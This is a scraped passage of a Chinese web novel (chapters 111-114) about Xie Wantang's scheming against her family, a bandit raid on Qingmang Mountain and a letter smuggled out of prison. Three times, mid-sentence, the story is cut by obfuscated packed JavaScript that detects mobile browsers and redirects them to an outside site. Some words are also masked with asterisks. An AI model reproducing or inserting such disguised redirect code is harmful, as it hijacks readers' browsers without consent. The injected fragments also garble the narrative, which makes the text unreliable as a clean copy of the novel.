谢晚棠见状,丝毫不慌。 她的目光,淡淡的扫过众人,她笑着吩咐。 “天岚、天月,一旦他们动手,你们省着点力气,不用管我,也不用跟他们硬拼,你们只管保住自己,逃出府去就是了。出去之后,记得帮我报个官,实在不行,就去宫门口帮我喊个冤,这永昌侯府**不吐骨头,关心爹娘还要**,我可冤的紧呢。” 说到最后,谢晚棠满脸惊色。 她担忧的看向谢夫人。 “阿娘,我这么让人去报官,让人去宫门口喊冤,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869612|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不大好?爹已经被关天牢了,侯府再出事,他……是不是就出不来了?” “你……” “啧,想想还真挺吓人的呢。” 谢晚棠抬手,漫不经心的拍着自己的心口,仿佛真的受了惊吓似的。 可她嘴角的笑意,却暴露了她的全部心思。 谢夫人、谢怀鸣可以不在乎谢晚棠,却不能不在乎谢詹杭,不能不在乎侯府,他们之前就受谢晚棠掣肘,不敢对她下死手,连马场那一局,也做的迂回,绕了一大圈。眼下依旧被她牵制,谢詹杭还情况糟糕,纵有足够的人手,他们也不敢轻举妄动。 死死的盯着谢晚棠,谢夫人双眼发黑。 谢怀鸣也被气的不轻。 只有谢詹林,默不作声的瞧着谢晚棠,见她三言两语,就压制住了谢夫人和谢怀鸣,谢詹林眸色沉沉。 谢詹林在观察谢晚棠,同样,谢晚棠也在不着痕迹的观察谢詹林。 这人—— 够稳,心思也够深。 和洛氏一样,他也不简单,甚至更甚。 谢夫人并不知道谢晚棠心中所想,她唇瓣煽动,想再说些什么。只是,还不等她再开口呢,管家就从外面匆匆的跑了进来,甚至没来得及让人通传。 到谢夫人、谢怀鸣、谢詹林身边,管家抹了一把头上的汗。 “夫人、大公子、二爷,出事了。” 出事! 这两个字,让谢夫人、谢怀鸣心头发紧。 眼下,他们怕听到这两个字,他们尤其怕传回来的,是谢詹杭身子顶不住了,性命垂危的消息。 “又出了什么事?” 他们母子不开口,还是谢詹林问了一声。 闻言,管家迅速回应。 “马场那头出事了,昨日马场后山的野兽受了惊,夜里野兽就下了山。那些野兽虽然没伤到人,却伤了皇上去马场必骑的那匹汗血宝马,还撞坏了万马长嘶的雕塑。这消息已经在京中传开了,宫里那头肯定也接到信了,这事怕是又得算在侯爷头上,只怕情况不妙。” 谢夫人、谢怀鸣直接愣住了,他们没想到还有这一茬。 这下牵扯到了皇上,这可如何得了? 屋里地龙烧的热,可是,他们母子俩却忍不住脊背上全是冷汗,连带着额头,也冷汗涔涔。 “这……” 谢夫人几次想要开口,都不知该如何说。 倒是谢晚棠,接话接的快。 “这可怎么得了?隆御马场是皇家马场,因为爹,皇上的马受了伤,雕塑也被毁了,听说那可是根据皇上墨宝雕的,可珍贵着呢。这下皇上不得发火?这事,再加上之前的事,这……皇上不会要了爹的命吧?” 询问的话里,全是幸灾乐祸,恨不能谢詹杭死的心思,全都写在了脸上。 谢夫人转头看向谢晚棠,气的身子直抖。 “你……” 第111章 笑藏刀 被谢晚棠刺激狠了。 谢夫人怒骂的话,全在嘴边,可还没等说出来,她就又晕了过去。 “娘……” 谢怀鸣急切的喊了一声,他忙冲上前,扶住倒下的谢夫人,一连唤了几声,谢夫人都没有反应,他看向谢晚棠,咬牙切齿。 “谢晚棠,你最好祈祷娘没事,否则,我绝对饶不了你。” 谢怀鸣打横将谢夫人抱起来,他看向管家。 “去请府医。” 管家迟疑,“那侯爷那边……” “之后再说。” 冷硬的说了一句,谢怀鸣就抱着谢夫人,奔着里屋去了。 就像闵大人、廖大人说的那样,眼下到了年根,为了图个好兆头,皇上也不会大行杀戮之事。纵然皇上恨毒了谢詹杭,眼下,他也不会要谢詹杭的命。再加上谢詹杭有自保的东西,危急关头,他会自救,倒也不必太着急。 显然,眼下谢夫人的状况更要紧。 更何况,就算他急着救谢詹杭,营救之策,也不能当着谢晚棠的面说。 她只会坏事。 还是稍微等等再说吧。 谢怀鸣走的急,见状,管家也不敢耽搁,他沉沉的叹了一口气,随即离开去给谢夫人请府医去了。 一屋子的府卫面面相觑,之后,他们也跟着退了下去。 房里,只留了谢晚棠主仆,以及谢詹林。 谢詹林端起茶盏。 他也不喝,只是挑眉,饶有兴致的看着谢晚棠,“只用了三言两语,就将你娘气晕了,你倒是好手段。” 闻声,谢晚棠缓缓看向谢詹林。 四目相对,她笑着摇头。 “二叔过誉了,比起二叔、二婶,三言两语就能借刀**,毁人一生,我这还远远不够看。” 谢詹林的脸,瞬间冷了下来。 “你胡说什么?” “胡说吗?” 谢晚棠故作诧异的往里屋望了望。 “昨日,兄长可是特意到桐花台,跟我说的,原来都是胡说吗?那……还真是我冒昧了,唐突之处,还请二叔见谅。” 一边说着,谢晚棠一边起身,冲着谢詹林微微福身。 她礼数倒是难得的周全。 可看着她的模样,谢詹林心里,却有种不上不下的憋闷感,他总觉得,谢晚棠知道当**了。 这—— 是笑里藏刀。 看着她,谢詹林半晌没有开口。 谢晚棠也不等,左右热闹已经看了,该添的堵她也已经添了,连带着在谢詹林这能做的试探和挑拨,她也都做了,再留下也没有多少意义。 谢晚棠很快就离开了。 看着谢晚棠离开的身影,谢詹林眉头紧锁,大约过了一盏茶的工夫,他才出屋。 院里。 谢詹林刚好瞧见在主院门口发呆的洛氏。 谢詹林快步过去,“在看什么?” 听到谢詹林的询问声,洛氏才稍稍回神,她缓缓抬头,对上谢詹林的眸子。 “在看谢晚棠。” “嗯。” 谢詹林应了一声,顺着刚刚洛氏瞧的方向又瞧了瞧,明明那早已经没了谢晚棠的身影,他却还是眉头紧锁,沉着思量。 许久,他才压低了声音念叨。 “当初那人说的没错,她真的不简单。” 洛氏抿了抿唇。 她想问问,刚刚谢晚棠和谢詹林在屋里,是不是说了什么?要不然,谢詹林何以有这样的感慨? 可想着是在主院,隔墙有耳,她终是把那些话都咽了回去。 不简单吗? 洛氏的眸色暗了暗,她凝眉不语。 她只是忍不住在心里想,活人分简单与不简单,那—— **分吗? …… 因为野兽夜袭马场,皇上震怒。 谢詹杭被关押看管的更紧了,谢怀鸣几次试图打点,想要进天牢见一见谢詹杭,商量一下对策,都落空了。连带着他四处奔走,想要找人为谢詹杭说说话,求求情,也都被拒之门外。 眼下,他们只能确定,谢詹杭暂时没有性命之忧。 可回府,却是遥遥无期。 也因为谢詹杭的事,侯府里,哪怕到了小年,依旧压抑的厉害,见不到一点喜庆劲儿。 小年这日。 谢晚棠早早便起来梳洗打扮了。 京中的韫辉斋,专出售珍奇之物,眼下这个月份,锦鲤难得,谢晚棠就让天岚帮忙在韫辉斋定了几条,让他们去寻。 上辈子,慕枭送给她的锦鲤,她是死后才瞧见的,还被谢婉宁给毁了。 这辈子她先自己送自己几条。 当弥补遗憾了。 韫辉斋那头送了信,锦鲤已经到了,她打算过去取,顺带着也在外面转转,散散心。 这永昌侯府,就是个腌臜压抑的地方,住久了人都会变的肮脏。 出去转转舒坦。 谢晚棠收拾好出门的时候,大约是巳时初。 天岚、天月、知棋,她全都带上了,她们主仆四个出了桐花台,直奔前院大门。 只是才走没多远,她们就碰上了谢夫人。 大约是身子不舒服,又加上营救谢詹杭的事停滞不前,谢夫人心力交瘁,她人清减了不少,脸色也发黄,不似平常光润,哪怕她脸上涂了一层厚厚的粉,依旧遮掩不住她的憔悴。 谢夫人脸色不好,瞧见谢晚棠光彩照人,她气不打一处来。 “你打扮的花枝招展的,是又要出门?” 质问,冷冽。 谢晚棠听着,点了点头。 “是啊,在府里太闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869613|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,要出去转转。” “你个没心肝的东西,”谢夫人怒骂,“你心里还有没有侯府?还有没有这个家?明知道你爹出了事,知道侯府杂事一堆,你还有心思消遣玩乐,侯府真是白眼你了,你简直就是个喂不熟的白眼狼。” 听着谢夫人的话,谢晚棠的心底,甚至连一点波澜都没起。 她只是稍稍上前。 “瞧阿娘这话说的,侯府白养我了?今日小年,挺喜庆的日子,阿娘真要跟我掰扯掰扯,我是谁养起来的,找那个不痛快?” 这些年,都是沈嬷嬷在费尽心力的赚银子,供她吃穿,让她读书。 若是没有沈嬷嬷,她早就**。 可侯府做了什么? 她病着的时候,她伤着的时候,她饿着的时候,她冷着的时候,哪有一次,是这富贵侯府出手帮了她的? 更别说,他们还有上一世,有血海深仇。 她是白眼狼? 这话谢夫人怎么有脸说出口? 不过,这辈子她倒是愿意做一匹狼,暴戾凶残。 她会用利爪,抓住这侯府每一个人的脖颈,用獠牙,撕咬他们的皮肉,让他们不得好死。 这都是他们欠她的。 是他们应得的。 想着,谢晚棠的眼神,都露出几分狠厉。 “再者说,阿娘,我心里怎么会没有侯府吗?马场出事的第二日,我不是去主院,看望过阿娘了吗?是晕倒的次数太多,家里的糟烂事太多,伤了阿娘的脑子吗?这么快就都忘了?” “你还有脸提那一日?” 一想到那日,被谢晚棠硬生生给气晕了,谢夫人的火气就蹭蹭的往上窜。 她心口,憋闷的要命,胸口也忍不住剧烈起伏。 谢晚棠知道谢夫人怒。 可她会在乎? 耸耸肩,谢晚棠笑意盈盈,“我一片孝心,主动去探望阿娘,关心爹的近况,帮着兄长劝慰阿娘,字字情真意切,咱们这一家子,我几乎都关心到了,我做的如此好,有什么不能提的?” “你……” “时候不早了,阿娘若是没事,那我就先走了。” 谢晚棠说完就要往外走。 谢夫人见状,厉声叫住她,“你给我站住,今日不许出去,你随我去祠堂上香,去求祖宗庇佑,给你爹祈福。” 侯府祠堂,谢晚棠的下人,是没资格进的。 到时候,谢晚棠身边没了人手,她必定要好好教训教训她。 顽劣无礼! 即便不是灾星,谢晚棠也是个祸害。 她该受受教训,知道知道什么叫礼数,什么叫家法了。 谢夫人想着,就见谢晚棠顿住脚步,回头冲着她笑笑。那笑浅浅的,却泛着一股邪气的味道。 四目相对,谢晚棠缓缓开口—— 第112章 青芒山 “阿娘,你确定要让我进祠堂?阿娘不是一直都说我是灾星,说我晦气吗?那阿娘就不怕,我稍有不慎,打翻了祠堂里的烛火,把祠堂给点燃了?真若是那样,气到列祖列宗,让他们在地下也不得安宁倒是小,可若是惹恼了他们,他们不保佑爹,让爹在天牢里出个什么事,生个什么病,啧……” 谢晚棠连连咂舌。 剩下的话,她没有说出口,但她的意思,谢夫人心里明了。 谢夫人气的眼前发黑。 “你个孽障。” “骂的这么凶,看来阿娘也担心的紧,那这祠堂,我就不进了,阿娘贵人事忙,我就不多打扰了。” 说完,也不等谢夫人回应,谢晚棠转身就走。 那利落的劲儿,有把谢夫人气够呛。 “反了,真是要反了。?0?2 ?0?2” 这侯府的窘境,得什么时候才能过去? 因为这点破事,他们一个个的瞻前顾后,投鼠忌器,他们反复被谢晚棠拿捏,明明恨得牙痒痒,却偏偏奈何不了她…… 这日子什么时候是个头? 谢夫人如何怒,谢晚棠丝毫不在意,她带着天岚她们出了府,上了马车,直奔韫辉斋。 大约是到了年关,各家都在采购东西,韫辉斋内的人很多。 进来后,谢晚棠就让天岚去找小伙计取锦鲤。 至于她则去了二层包厢。 包厢里摆着画册,韫辉斋内新进的好东西,都会画在画册上,供客人查看,若是有相中的,即刻就能买。 谢晚棠打算过去看看,全当打发时间了。 只是,才上二楼,还没到包厢呢,谢晚棠就听到了一阵议论声。 “你听说青芒山的事了吗?” “什么事?” “昨儿夜里,青芒山的土匪下山了,拦了一个镖队不说,还在临近的村里,抢了十来个姑娘,闹的可凶了。今儿到京兆府报官的人,都要把京兆府的门槛给踏破了,眼下那头还闹着呢。” “啧,闹的这么凶?从前可没有过,他们这是疯了吗?” “谁知道呢,老话说,人无横财不富,马无夜草不肥,这到了年根底下,土匪下山干一票大的,过个富裕年,也是有的,只是动静闹得这么大,之后只怕不好收场,朝廷也没法视而不见。我估计,青芒山那头,得乱一阵子了。” “那近来可别去那头了,我的货也不从那走了。” “就是这话。” 谢晚棠停下脚步,看向声音传出来的包厢。 包厢里两个人穿着锦袍,瞧着一幅富贵样,他们提到了货,想来是富商巨贾,消息大抵错不了。 谢晚棠看过去的时候,小厮也刚好将门关上,后面的话,她没听到。 她站在原地,半晌都没动。 “小姐,想什么呢?” 天月、知棋也听到了谢晚棠刚刚听到的话,她们都不明白,谢晚棠在发什么呆?青芒山,距离京城可有三十多里呢,她们又不过去,没有必要为青芒山的事担心吧? 天月、知棋不解,听她们问,谢晚棠勾了勾唇。 她缓缓看向她们俩。 “也没什么,就是在想……若是猪圈塌了,圈里的猪饿极了,会不会趁机从圈里跑出来?” “什么?” 知棋不明所以,她下意识的问了一声。 谢晚棠笑笑,没有再回应。 只是,她心里隐隐觉得,谢詹杭不在府上的这段日子,对于她而言,大约是个极好的机会。 青芒山土匪横行,是个不可多得的好地方。 她……大约可以动一动了。 包厢。 谢晚棠手里捧着韫辉斋的册子,却一点都没看下去,她脑子里想的,全都是报仇的事。 慕枭教她的,下棋要走一步看三步,看五步,看十步。 只有看得长远,步步为营,才能不出纰漏。 报仇亦如此。 既然出手,就不容有失。 有很多细节,她都需要仔细琢磨,一步一步,都要安顿好才行。 谢晚棠心里想着这些事,一直到天岚敲门,抱着装着锦鲤的七彩琉璃缸进来,她才收回自己的思绪。 看着那七彩琉璃缸,瞧着里面的锦鲤,谢晚棠不自觉的眼睛发红。 上辈子,慕枭也送了她四条锦鲤。 两条给她,两条给孩子。 只可惜,那时她已经**,最后收到锦鲤的是谢婉宁,谢婉宁还将锦鲤毁了,而她作为一缕孤魂,只能眼睁睁的瞧着。 锦鲤! 好运! 显然,她上辈子的运气,并不算好。 但这辈子不一样了。 她和谢婉宁的结局不一样了,她和慕枭的结局,也一定会不一样。 还有她和慕枭的孩子…… 上辈子,她惨死,慕枭为了她也舍了一条命,那孩子作为皇家子嗣,作为慕枭的遗孤,必定会被天明、天晴送到宫里。皇上自来看重慕枭,想来也会爱屋及乌,对那孩子好,他在宫里的日子大抵不差。 可这辈子,她更愿意那孩子回来,而她和慕枭,都能长长久久的陪着他。 看着他平安,看着他长大。 如此才好。 摸着七彩琉璃缸,望着里面的锦鲤,谢晚棠默默的祈祷。 天岚不知道谢晚棠为何突然伤感,但是,她可没忘了正经事,看着谢晚棠,她小心翼翼的开口。 “小姐,天晴来了,就在外面,说要见小姐。” “天晴?” 扭头,抬手抹去眼角的湿润,谢晚棠诧异的看向天岚。 “他怎么会来?要见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877088|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,可是有什么要紧事?是王爷那边出什么事了吗?” “具体的,奴婢也不清楚。” “那快请他进来。” 听了吩咐,天岚也不耽搁,她即刻出去,将天晴请了进来。 天岚将包厢门关上,这工夫,天晴已经到谢晚棠身边了,他轻声开口,“属下天晴,见过谢二小姐。” “不必多礼,王爷叫你来,可是有事?” “是。” 天晴也不兜圈子。 “从隆御马场回来后,王爷命属下安排人,查了当年大师断言谢二小姐是灾星的事,已经有结果了。王爷今日刚好也在韫辉斋,知道谢二小姐在,他特意让属下过来,把结果告知谢二小姐。” 谢晚棠有些意外,她的心跳,都加快了些。 那日在马场,慕枭问她是否需要帮忙调查的时候,她告诉慕枭,不用查这件事的。 没想到,慕枭还是派人去查了。 而且有了结果。 慕枭自来性子清冷,别人的闲事,他很少插手,尤其是这辈子,最初,她为了多些与慕枭接触的机会,也为了让慕枭记住她,她主动殷勤,令慕枭不喜,再加上谢詹杭的关系,慕枭与她的关系更尴尬。 可饶是如此,慕枭还让人帮她查了那事,这—— 算他们关系有所好转吗? 算吧! 喜色,不断在谢晚棠心底蔓延。 天晴不知道慕枭的心思,还以为她是高兴找到了当初害她的人,是以,天晴也不瞒着,他快速继续。 “谢二小姐,当初,谢夫人生产的时候,是谢家二爷谢詹林,和他的夫人洛氏去请的大师。 他们当时找的大师,名叫清虚散人,当年在京中也算小有名气,他是有几分本事的。可是不知道清虚散人跟他们说了什么,他们从清虚散人那离开后,又去街边找了一个老道。 那老道名叫玉衡子,专在街头给人算八字。 他是个半吊子,张口十句有八句是骗人的,就是个骗子。 说谢二小姐是灾星的便是他。” 一边说着,天晴一边掏出一个字条,放到桌上。 “玉衡子十几年前就已经不在了,倒是清虚散人,人还活着,属下让人查到了他的下落,也去见过他一次,但他只说天机不可泄露,剩下的什么都不肯说,属下便让人扣押了他。这字条上的地址,就是关押他的地方,谢二小姐若想去见见他,随时可以去,自会有人为谢二小姐安排。” 谢晚棠凝眉。 谢詹林和洛氏去见了清虚散人,却又没请他,而是离开了,另外找了个江湖骗子,那十有**,是清虚散人说了什么,他们不愿意听,不愿意信,也或者是于他们不利。 清虚散人说,天机不可泄露。 天机—— 会与她重活一世有关吗? 第113章 省油灯 谢晚棠不确定,可是,这种猜测却盘踞在她心里,挥之不去。 毕竟,无讳大师能算到的事,其他人未必就算不到,只是,若真是这样,不知道清虚散人跟谢詹林、洛氏他们说了多少。 少也就罢了。 可若是和盘托出,一语道破了关键—— 谢詹林和洛氏都不是省油的灯,之后,她怕是得麻烦不断。 得小心些才好。 谢晚棠思绪乱飞,入神的厉害。 半晌,她才想起来天晴还在,侧头看向天晴,她的眼里带着歉意,“抱歉,想事情一时想入神了,耽误你工夫了。” “谢二小姐客气了,那属下就不多打扰了。” “天岚,帮我送一送天晴。” “是。” 天岚应声,看向天晴请他出去。 天晴眼睛眨了眨,他脚没挪地方,而是小心翼翼的询问,“谢二小姐,你就没有什么话,要带给我家王爷的吗?” “瞧我这记性。” 想到关键处,倒是把慕枭这头都给忘了,谢晚棠的脸上露出一抹懊恼。 看向天晴,她忙道,“天晴,劳烦你帮我好好的谢谢你家王爷。” “没……没了?” 按照谢晚棠的性子,不应该过去找慕枭,见见慕枭的吗? 谢谢……就完了? 这对吗? 谢晚棠满脑子都是清虚散人的事,是洛氏、谢詹林和谢夫人,她完全没有注意到天晴的心思,她只是认真的点了点头。 天岚也没耽搁,她很快就请天晴出去了。 几乎是天晴一走,谢晚棠就抱着装着锦鲤的七彩琉璃缸起了身。 “走,咱们回府。” “小姐,不去见见那位清虚散人吗?” “去,但在那之前,我们得先去办一件事!” 谢晚棠没多解释,话音落下,她率先出了包厢,她匆匆的奔着楼下去了。 天岚三个见状,急忙跟上。 …… 顶层包厢。 天晴回来,就瞧见慕枭坐在窗边上,窗子开了一条窄窄的缝隙,慕枭正在往外瞧,也不知道在看什么。 天晴凑过去,探头看了看。 他瞧见了韫辉斋对面街上慕临的马车,也瞧见了匆匆离开的谢晚棠。 咧着嘴贼兮兮的笑了两声,天晴低声询问,“王爷,你看的这么入神,这是在盯着大皇子,还是在看谢二小姐啊?” 听到询问,慕枭收回目光看向天晴。 “脸痒吗?” “啊?” 天晴一愣,有些没反应过来。 慕枭轻哼,“要是痒的话,本王不介意亲自动手,给你抽一抽,为你止痒,让你舒服舒服。” 天晴下意识的捂住自己的脸,一连往后蹦了好几步。 “王爷,你这点本事,也别光往属下身上用啊,有本事,你在人谢二小姐身上用用。” 慕枭瞪了天晴一眼。 距离远,天晴胆子也肥,他梗着脖子嘀咕。 “属下可没胡说,瞧瞧之前,人家那又是约你,又是说好听的,那多热烈如火,激情澎湃啊,现在,你帮人家办了那么件大事,人家也只是说让属下帮忙道声谢,连看都不来看你了。 要不说呢—— 男人的性子不能冷,冷的男人没人会往手心里面捧,男人的性子不能烂,烂的男人没人会想多看。 瞧瞧人家江大人,那么冷脸的一个人,在见到谢二小姐的时候,都能言笑晏晏,温柔以待,那才是好男人该有的样。王爷,你可得跟人家好好学学,要不然,这王妃什么时候才能娶进门呦?” 最后的“呦”,尾音天晴拖的长长的,模样也贱兮兮的。 慕枭眸色清冷,眼刀凌厉。 “想死?” “啧啧啧,俗话说,男人不能太凶残,凶残的男人讨人嫌。” 慕枭:“!!” 他的俗话,未免也太多了。 懒得搭理天晴,慕枭的目光,又缓缓落在窗外,眼见着谢晚棠的马场缓缓消失,他脑子里都是刚刚,谢晚棠小心翼翼的护着七彩琉璃缸,护着锦鲤,缓步上车的模样。 连命都豁的出去的人,偏对几条锦鲤那么上心…… 慕枭凝眉。 他莫名的有种很奇怪的感觉。 …… 桐花台。 谢晚棠回来,将锦鲤妥善放好,之后,她就叫了天岚、天月到自己身边。 回来的路上,她已经反复想过了,眼下,她并不急于去见清虚散人,毕竟清虚散人已在慕枭的控制之中,早一刻见还是晚一刻见,差别不大。 眼下要紧的,是青芒山出事了。 机不可失! 在心里筹划了大概,谢晚棠即刻吩咐天岚、天月做安排。 每一个小细节,她都反复斟酌,确认没有疏漏。 剩下的便是等。 三日后。 谢怀鸣想要营救谢詹杭,又碰了一鼻子灰,他回了主院,想要跟谢夫人再商量商量营救的事。虽说眼下年根,谢詹杭不会有事,可眼瞅着就到除夕了,翻过年去什么样,谁也说不准。 事关谢詹杭的命,他们得早做打算。 谢怀鸣来时,刚好碰上到门口,也急着要进门的管家。 “有事?” 谢怀鸣问了一句。 闻言,管家连连点头,“是,听到了一点关于大小姐的风声,老奴就过来了,想要跟夫人说一说。” “婉宁的消息?” 谢怀鸣有些意外,连带着声调也提高了些。 管家急忙回应,“是。” “那快进屋。” 谢怀鸣应了一句,他率先加快了脚步,管家见状自然不敢耽搁,他也跟着谢怀鸣急忙进屋。 屋里,谢夫人、谢怀鸣坐着,两个人均是死死的盯着管家。 管家丝毫不敢隐瞒。 “老奴刚刚听人说,近些日子,青芒山那头出了点事,小年前,青芒山的山匪下山,不但打劫了一个镖队,抢了东西,还在临近的村里抢了好几个姑娘,动静闹得很大,京兆府那头,报官的人都要排成排了。” “这跟婉宁有什么关系?” 谢怀鸣凝眉。 这几日,他没少在外为谢詹杭奔波,青芒山的事,他也听到了些风声。 只是从始至终,他都没有在意。 管家现在提,还说与谢婉宁有关,那…… 管家听问,也没再卖关子。 “这事闹了几日了,原本老奴也没在意,可是,今儿老奴外出的时候,听到有人笑话青芒山的山匪荤素不忌,说他们什么样的女人都抢,说他们都是在山里饿久了,瞧了母猪怕是都觉得眉清目秀。 老奴听着那话觉得奇怪,就多问了两句。 原来,在抢镖队抢姑娘那日,他们还抢了一个被毁了容的姑娘进山。 据说,那姑娘是混在镖队里,要顺着青芒山的官道,一路南下的。他们还说,那姑娘的脸被毁了,有伤疤不说,还有许多脓包,模样惨不忍睹。那些讥讽青芒山山匪的话,就是由此而来的。” 管家说的已经够含蓄了。 外面传的流言,远比他说的要露骨,要难听。 可饶是如此,谢夫人的脸色,还是忍不住一片青黑,她眼里全都是急切。 “你说的都是真的?” “是。” 管家听问,连连点头。 “事关大小姐,老奴不敢撒谎,这都是老奴刚刚听到的,得了信儿,老奴就赶紧回来回禀了,一刻都没敢耽搁。” 谢夫人闻言,眼泪一下子掉了下来,她扭头看向谢怀鸣。 “怀鸣,是宁儿,是宁儿。” “娘……” “宁儿被划伤了脸,有一道伤疤,她脸上起了很多脓包,特别严重,那就是她。她被青芒山的山匪抢进山了,山匪穷凶极恶,弄不好可是会杀人的。宁儿在青芒山,随时都可能有危险。怀鸣,我们得去救宁儿,我们得去救她。快……你快去安排人手,咱们即刻出发。” 第114章 流光溢 “娘,你冷静一点。” 抓着谢夫人的胳膊,谢怀鸣沉声劝了一声。 他也担心谢婉宁,可是,眼下永昌侯府的状况,实在太糟糕了,凡事他都不得不再多想两分。 否则,再出个一差二错,那就是推永昌侯府堕入深渊。 他赌不起。 “娘,我得安排人再去查查,等有了确切的消息之后,咱们再做打算。” “还查什么?” 几乎是在谢怀鸣话音落下的瞬间,谢夫人就吼了一声。 她的眼泪,也更汹涌了。 “这世上没有那么巧的事,也没有可能,两个人连伤都伤的那么像,那就是宁儿,那就是她,错不了。怀鸣,你是在军营里带兵的,你也跟山匪打过交道,他们什么样,你心里清楚。宁儿落到他们手里,要遭受什么折磨,你也清楚,你怎么还冷静得了?” 谢夫人说的,谢怀鸣都懂,只是,他不能意气用事。 “就算那是宁儿,我们也不能轻举妄动,青芒山的土匪,连朝廷都剿不了,一连几日过去了,也都还没有动静,咱们去又能如何?” 只是,谢夫人哪听得进去? “那就带上所有的府卫,还有你爹养的府兵,还有那些死士,也全都带上。” “娘,你能不能冷静点?” “不能!” 谢夫人吼得歇斯底里。 “宁儿是我身上掉下里的肉,是我捧在手心里养大的,她被毁了脸,被毁了清白,我已经很心痛了,我不能再眼睁睁的看着她被抢进土匪窝里,被土匪糟蹋,最后丢了一条命。我的女儿,生来就是来享福的,我不能让她受这种苦。” “那娘你就要拿整个侯府去冒险吗?” “我一定要救宁儿。” 像是魔怔了一般,谢夫人固执的哭吼,不管不顾。 “我一定要救她,她是福星,会保佑侯府的,你爹就是在她走之后,才出的这些事,说不准把她救回来了,你爹也就能没事了。我们得去就她,现在就去安排人手,现在……嗯……” 谢夫人的话还没说完,就闷哼了一声。 她两眼一黑,就晕了过去。 谢怀鸣收回砍在谢夫人脖颈上的手,揽住晕倒的谢夫人,眉头紧锁。 短短几日,他真的心力交瘁,身心俱疲了。 一个个的都不让他省心。 这种日子,什么时候才是个头啊? 谢怀鸣沉声叹息,他打横将谢夫人抱起来,之后才看向管家,冷声吩咐,“以后所有关于婉宁的事,都汇报给我,别再我娘这来说了。” 谢夫人为了谢婉宁,什么事都做得出来。 这不是好事。 如今的永昌侯府,冒不起险了。 听着谢怀鸣的吩咐,管家看了眼谢夫人,之后他才点头,“大公子放心,老奴明白该怎么做了。” “那就好。” 微微舒了一口气,谢怀鸣随即又道。 “记得安排两个人,去查一查刚刚的消息,确认一下是否是真的,有了结果,再来告诉我一声,咱们再从长计议。” “是。” 管家应声就要退下去。 谢怀鸣也打算抱着谢夫人到罗汉榻上,让谢夫人歇一歇。 一切,还是等谢夫人醒了之后,冷静了之后,再慢慢说吧。道理掰开揉碎了讲,谢夫人总会理解他的。 两个人都要动。 可就是这时,主院伺候的嬷嬷带着门房小厮,匆匆的走了进来。 见到谢怀鸣,小厮急忙冲上来。 “大公子,有侯爷的信。” “什么?” 转身将谢夫人放到椅子上,让嬷嬷扶着,谢怀鸣急忙看向门房小厮,他眼里尽是不敢置信。 “你是说有我爹的信?这怎么可能?” 天牢那种地方,看管的严,他想进去见一见谢詹杭,来来回回的走关系打点,都没能成事,谢詹杭被关着,又怎么能把消息送出来? 听问,门房小厮不敢隐瞒。 “是的,是侯爷的信。” 将信掏出来,递给谢怀鸣,小厮急声解释。 “就在刚刚,有个七八岁的小乞丐,送了这封信过来,说是一个男人让他送到咱们府上的,是侯爷的亲笔信。奴才顺着他指的方向,看到了让他送信的男人,距离有些远,见奴才看过去后,他也很快就躲了,可奴才还是看到了他穿的衣裳,奴才可以断定,他穿的是天牢守卫的衣裳,应该就是侯爷买通了守卫,让他把信送出来的。” 谢怀鸣听着这话,心头微紧。 想要从外面进人到天牢里,需要打点的人太多了,风险自然也更高,难以成事是必然的。 可若是在天牢里买通一个熟人,让他往出送个信,只是跑跑腿…… 这就简单多了。 这么想着,谢怀鸣忙将小厮手中的信拿过来。 转身,避开众人的目光,谢怀鸣低头查看。 信,是谢詹杭的笔迹。 谢怀鸣一目十行,粗略的看了一遍,了解了大致情况后,他又反复细看了两次,确认没有疏漏,才稍稍安心。 信上,谢詹杭写了,他在天牢中受了刑,身子状况不好,有些扛不住了。是以,他需要谢怀鸣帮忙,以便他能顺利从天牢中出来。他要谢怀鸣南下,在南淮盐道上,找一个名叫裘青成的人,从他的手中拿一份名单。 具体是什么名单,信上没细写,但要经盐道之人的手,想来跟盐运上的事脱不开干系。 盐运之事自来重要。 自然的,这中间可做的文章也不少。 若是筹谋的好,拿到足够的筹码,让谢詹杭脱身,也不过是动动手指的事。 谢怀鸣心里欢喜。 “我就知道,爹他一定不会坐以待毙,他一定会有办法的。” 低喃了一声,谢怀鸣转身去拿了火折子,他将信点燃,眼瞅着信化作灰烬,不会外传,不会给谢詹杭和侯府带来麻烦,他才稍稍安心。 之后,谢怀鸣转头看向管家。 “我要出门一趟,即刻就走,你帮我准备马和干粮,要府上最好的马。” “是。” “婉宁的事,你继续盯着,不论什么结果,都等我回来再说。我娘这边,万不可让她轻举妄动,就算她要闹,也得给我拦住了,听到没有?” “是,老奴明白。” “今日我爹来信的事,断不可外传,若是走漏了风声,出了什么其他的岔子,可不怪我不念情面。” 